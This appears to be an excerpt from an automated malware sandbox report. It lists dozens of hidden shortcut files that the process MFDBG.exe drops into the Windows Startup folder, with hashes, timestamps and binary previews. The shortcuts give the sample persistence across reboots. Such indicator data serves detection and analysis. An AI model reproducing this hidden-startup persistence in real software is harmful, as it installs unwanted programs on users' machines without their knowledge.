File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91966621474373
Encrypted:	false
SSDEEP:	24:8kBfw8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8717C5CF80FDAAF8B51D79AD011EDDF5
SHA1:	CE5373C188A38BF1E7CBB240638A1CD052FD31C9
SHA-256:	499B67200F9E87D4C5E369A803207CBAC42944FE4B54E0355B6601B8106C647D
SHA-512:	A7B3C9E8A72AACED94A04FC094348251788A5D96ECEBBAC993C11A52D68AD2FCBD9095CDCDE5E9C5B8694DBB0BCFB26B2B96E7C7D8A2CCA1113548AB76035072
Malicious:	false
Preview:	L..................F....".......d...S_9?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....6?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d72384b7b2e14e968f515cf042ff0e18.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915118754805057
Encrypted:	false
SSDEEP:	24:8fBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F8C5794B6D3368A6A1461EF747F01CF0
SHA1:	2EB425D758435C7DF02391857E0199F6AA719D6B
SHA-256:	52BC71A148C234854C0FF4E1F41CC09D5E4018C1B321178BC14946000EC6E87E
SHA-512:	C44102802D16B59C8DDB380CCA42712D263E481A6F2CE7CB9E75799AFD3BD113272F8AA720913A508D654922E3EE3253244898396758517567C5695F41CE2EAC
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7d273631b394c039fbbe1f6d9cba66a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:8+Bfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8U+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E9C01300E14AAFD82177DC6FCF7015B8
SHA1:	29E98B593EDC163347F79DC74DB99F0AAD2CF664
SHA-256:	BD41A1780FAAF79421751036B01250D23C69058FE433173C768918B75FAFA149
SHA-512:	DF83FF3DD89BD6F0B20C137D3505B6CA5B59BF10A77DD80E77DDD5774CD2FCDE6C674B2CA2B15E799E0E1D9962C9B5E98E7873665290EAB5A871CE4124636B6D
Malicious:	false
Preview:	L..................F....".......d......;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8c6811c2b944dc6833d42edf3fd7710.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920646446382626
Encrypted:	false
SSDEEP:	24:8hBfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87cEvZ0yRO7DLO2zdxdRd1kyg
MD5:	80F97AE7D432CE19013EC629E0C6BC53
SHA1:	55B1042B5CE2E5EB5A26CF920EDEFBBB91822251
SHA-256:	62778D930612C581CC9D912406FC609F9185416E5A05F653D5275E3B655FF36D
SHA-512:	7B852AB64B81956C41A12AAE34098928296BEE26217FB74A1777591349B4713FE44FC4E488F94EC21F3F4F40C6667277FB74700103235558835822AEE9F5CE90
Malicious:	false
Preview:	L..................F....".......d....3J.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d91f2c4dd7ae4b4ab0c4f9cb472863f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92622559883674
Encrypted:	false
SSDEEP:	24:8TBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DBB04350252CE0D90EFB45149750A882
SHA1:	70B763D1507A93537AFC688C7000D0793CB183DB
SHA-256:	18D2DE6746D3EAFD459E0190D4EB86BDB276717CCEC7634219F121833EE714E8
SHA-512:	A1F00EF85AA8127F63F5C1AF258465E973BD4A3F7A3E0AD28C5A812CF875B3BAEF59C777450298D734571AB7917455F8CAB4DF6CDC5F08771E8884E956B6ED24
Malicious:	false
Preview:	L..................F....".......d....n5.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d942bc560a574f63982de9dac58e8db1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9209294016902545
Encrypted:	false
SSDEEP:	24:8D3Bfxf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89JEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2A29563BBA6A2E7AC98C0AB0A3E2977F
SHA1:	C619D722EFAB913FDD946F52520BD1A456D76197
SHA-256:	73B2F4864369FCA85C92DE3B47B16AAEB9BF76D4E2288C0E832A4EDC5E7D6EA5
SHA-512:	7BE1E43B473610FB6592440154F342935DF83241B255521A46A55FCA23C6ADB9F7B73117D1805D083471CF236202551BD1F8C10E3BB1EE19B39F76C2083124A5
Malicious:	false
Preview:	L..................F....".......d...JX2.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d95f428b6ef849fb9c290f69f3b9c323.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928740799693369
Encrypted:	false
SSDEEP:	24:8SBfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8A+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	85F60DCC0A7D083A2B8C3E5EEDD35BCF
SHA1:	115FFBC5D1A2CE82C9AE655BD922CAE6AEFCD25A
SHA-256:	617155FE06C515B6E60F9C99D606ABFE061759B2618515FE8462E4DDD9359A97
SHA-512:	7110DC56B1EF4F0A22DBB8F9E2F6AA4760BB9F098AB16103EF3E87156CCB761C3100ACFBDA5211FF68997181CF467FF953B1AD86766A6AD0CB751021F38006FB
Malicious:	false
Preview:	L..................F....".......d......;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d965b5fb4bfd4e2ab9e3da1a8b262198.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919140273744257
Encrypted:	false
SSDEEP:	24:8+Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1D82145CBE27F1DDAAD5465F88D94C41
SHA1:	C0B7D1F6B95E7CAE9C08E6C95CC369BFAF5F7484
SHA-256:	912541C0643BD61659A8F0306A1AF7A8A268DF35EF36E30C09F792F3D092C8DF
SHA-512:	0DDCB9925321EB9CF18E18DF1BCE70F514E8DF13E76407BD906DDCC1593F0657DE75BBE89BA599F70EB5DE47215A5EF8C77AE30F30D58E4EF8FB6B58CB0E6755
Malicious:	false
Preview:	L..................F....".......d...,.H\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d9ce68203eb04024ad3c21a526da950a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922431319994047
Encrypted:	false
SSDEEP:	24:8vBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FD9197D9DAED7DE89D0137B2AD5F4E05
SHA1:	DAD3E9933BA7DA82106AD14E54259A43B82558E6
SHA-256:	DA79F7C6CC9680213DB291A7A578C06ABADD368E1112D502E3A611D237CA4DD7
SHA-512:	F9E98DB9942F6BBE8B243918A5EF713490BCD6BD9E012E455EE8C057E8DF1E560D897637B97C42C2DFB9A5B3FA556C596D9B302E2BD6DC69B25A1D63A55E9933
Malicious:	false
Preview:	L..................F....".......d.....;%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d9ecdfbdcb994738aa75d13ba96fb9eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920177663144176
Encrypted:	false
SSDEEP:	24:8vBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85uEvZ0yRO7DLO2zdxdRd1kyg
MD5:	961A9E113270279295C81DEA7AABDF05
SHA1:	4542E4E1727FB43124FDB1BC88715E407A2384CF
SHA-256:	4C36908B7BDDC852EC32380FEC5902D7EC9D64E35AEB01A569F4E7C3681781E1
SHA-512:	369F9E71797843BA254223C0DEACDE3E71565FCD3F7F7725C8F29EAFDD91ECF5E988606196AB822AA826F47CC3ED0B6443D7CEBBA980CD4321B38F56229A06FE
Malicious:	false
Preview:	L..................F....".......d.....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da4bb175e14a43bebe66fcad1fbf2c24.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920791642009391
Encrypted:	false
SSDEEP:	24:8g6Bfl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8g4qEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5FC76BBD4BD646A2F868C5B23DD05EAF
SHA1:	9D271D4366B14E13712B9C69BB898686A6F9096C
SHA-256:	03A1AB34762EBCF0C4132A38F77A0BF16F9C9EA84270A217B90629AD39C468E6
SHA-512:	6E14989C4DB6E2A70F72ED50F27CE092C58A42EC899EA68AB13DE44238FCC6DFA282D365C61BF0B727D1DEFD95DC96136752B473537BAB68FEFDBE759AEAA668
Malicious:	false
Preview:	L..................F....".......d......^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...c..^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da590f276b9f42f6b3d0b2600873e18c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91868801596278
Encrypted:	false
SSDEEP:	24:8GBfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	80F767E39EE1911ECCF6E8FEB6C46B04
SHA1:	B289395850B124643C5EED6EF9180CB5DD87A9DB
SHA-256:	234AD42502F1FE990143EFCDEB96719258080DF89A8E1730F4C8D7F2B1EA0841
SHA-512:	CCEAE5D8E47C07CE1085246198005EA267F9CBB0AA621EE7AB0A97E459F1A464AF3558B3128E8A381A85D558A0172F766B193E1FF8B62151FACA63CD864D9DAD
Malicious:	false
Preview:	L..................F....".......d.....P:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_daa260e61db3452fa120613d3319de62.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921037730374321
Encrypted:	false
SSDEEP:	24:85Bfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1147D3D9B722B2361BDA24438640402D
SHA1:	8F7EB767AC7F98F3843E212D4250521171B11A65
SHA-256:	9A48FCF383082A4C2D66A026E7FE5E6BEDF7DD568ADC1E6B313BFD060502822C
SHA-512:	12C17F5100CA2C891549CB9D5F4411A00D40A7A7FCA6ECF35628C59115CE2B764DAFF7F1907FAB73B93BCFD3FDC7C207C4F2265B45AF998DC11CA6E8EABAB181
Malicious:	false
Preview:	L..................F....".......d...."..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dadce83b687b427bb24095d1a0baf4f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
